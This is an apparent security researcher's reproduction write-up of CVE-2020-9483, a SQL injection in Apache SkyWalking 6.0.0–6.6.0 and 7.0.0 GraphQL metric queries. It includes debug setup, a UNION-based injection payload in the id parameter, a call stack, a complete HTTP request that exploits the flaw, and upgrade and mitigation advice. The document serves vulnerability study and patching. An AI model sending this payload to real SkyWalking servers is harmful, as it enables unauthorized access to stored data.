[CVE-2020-9483]Apache SkyWalking SQL注入

reference:

• https://www.openwall.com/lists/oss-security/2020/06/15/1
• https://mp.weixin.qq.com/s/91MWSDYkom2Z8EVYSY37Qw
• http://www.h2database.com/html/functions.html#h2version
• https://s.tencent.com/research/bsafe/1011.html
• https://blog.csdn.net/smooth00/article/details/96479544

Compiled version 6.5.0:

wget https://archive.apache.org/dist/skywalking/6.5.0/apache-skywalking-apm-6.5.0.tar.gz
cd apache-skywalking-apm-bin/bin
vi oapService.sh

Add debugging parameters:

DEBUG_OPTIONS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=12346"

Then start:

./startup.sh

Found that it is already listening on port 12346.

Download the 6.5.0 source code (https://www.apache.org/dyn/closer.cgi/skywalking/6.5.0/apache-skywalking -apm-6.5.0-src.tgz)

Import IDEA, add Remote Configuration, and set the module classpath to oap-server.

Vulnerability description:

When use H2/MySQL/TiDB as Apache SkyWalking storage, the
metadata query through GraphQL protocol, there is a SQL injection
vulnerability,
which allows to access unpexcted data. Apache SkyWalking
6.0.0 to 6.6.0, 7.0.0 H2/MySQL/TiDB storage implementations don’t use the
appropriate way to set SQL parameters.

Affected version:
6.0.0-6.6.0, 7.0.0

I changed it to tcp and it succeeded. The default h2 is memory type, and the table was not found, which led to failure. Edit application.yml:

Through debugging, it can be found that the id parameter has been spliced:

Then construct the payload for the id parameter:

id: \"') UNION SELECT 1,CONCAT('~', H2VERSION(), '~')--\"

Since the where query statement has ended, you can use union injection, and finally use the --comment out the following content.

Demo：

Call stack:

executeQuery:106, JDBCHikariCPClient (org.apache.skywalking.oap.server.library.client.jdbc.hikaricp)
getLinearIntValues:117, H2MetricsQueryDAO (org.apache.skywalking.oap.server.storage.plugin.jdbc.h2.dao)
getLinearIntValues:96, MetricQueryService (org.apache.skywalking.oap.server.core.query)
getLinearIntValues:60, MetricQuery (org.apache.skywalking.oap.query.graphql.resolver)
invoke:-1, MetricQueryMethodAccess (org.apache.skywalking.oap.query.graphql.resolver)
get:147, MethodFieldResolverDataFetcher (com.coxautodev.graphql.tools)
fetchField:227, ExecutionStrategy (graphql.execution)
resolveField:170, ExecutionStrategy (graphql.execution)
execute:59, AsyncExecutionStrategy (graphql.execution)
executeOperation:158, Execution (graphql.execution)
execute:100, Execution (graphql.execution)
execute:558, GraphQL (graphql)
parseValidateAndExecute:500, GraphQL (graphql)
executeAsync:470, GraphQL (graphql)
execute:401, GraphQL (graphql)
execute:87, GraphQLQueryHandler (org.apache.skywalking.oap.query.graphql)
doPost:81, GraphQLQueryHandler (org.apache.skywalking.oap.query.graphql)
doPost:54, JettyJsonHandler (org.apache.skywalking.oap.server.library.server.jetty)
service:707, HttpServlet (javax.servlet.http)
service:101, JettyJsonHandler (org.apache.skywalking.oap.server.library.server.jetty)
service:790, HttpServlet (javax.servlet.http)
service:105, JettyJsonHandler (org.apache.skywalking.oap.server.library.server.jetty)
handle:841, ServletHolder (org.eclipse.jetty.servlet)
doHandle:543, ServletHandler (org.eclipse.jetty.servlet)
nextHandle:188, ScopedHandler (org.eclipse.jetty.server.handler)
doHandle:1239, ContextHandler (org.eclipse.jetty.server.handler)
nextScope:168, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:481, ServletHandler (org.eclipse.jetty.servlet)
nextScope:166, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:1141, ContextHandler (org.eclipse.jetty.server.handler)
handle:141, ScopedHandler (org.eclipse.jetty.server.handler)
handle:132, HandlerWrapper (org.eclipse.jetty.server.handler)
handle:564, Server (org.eclipse.jetty.server)
handle:320, HttpChannel (org.eclipse.jetty.server)
onFillable:251, HttpConnection (org.eclipse.jetty.server)
succeeded:279, AbstractConnection$ReadCallback (org.eclipse.jetty.io)
fillable:110, FillInterest (org.eclipse.jetty.io)
run:124, ChannelEndPoint$2 (org.eclipse.jetty.io)
runJob:672, QueuedThreadPool (org.eclipse.jetty.util.thread)
run:590, QueuedThreadPool$2 (org.eclipse.jetty.util.thread)
run:748, Thread (java.lang)

little:

POST /graphql HTTP/1.1
Host: cqq.com:8080
Content-Type: application/json;charset=utf-8
Content-Length: 313
Connection: close

{"query":"query queryData($duration: Duration!) {globalP99: getLinearIntValues(metric: {name: \"all_p99\", id: \"') UNION ALL SELECT NULL,CONCAT('~', H2VERSION(), '~')--\" }, duration: $duration) {  values { value } }}","variables":{"duration":{"start":"2020-08-07 1417","end":"2020-08-07 1418","step":"MINUTE"}}}

Repair suggestion:
upgrade Apache SkyWalking to version 8.0, upgrade link: https://github.com/apache/skywalking/releases

If the upgrade is temporarily impossible, as a mitigation measure, it is recommended not to expose the GraphQL interface of Apache SkyWalking to the external network, or to add a layer of authentication on top of the GraphQL interface.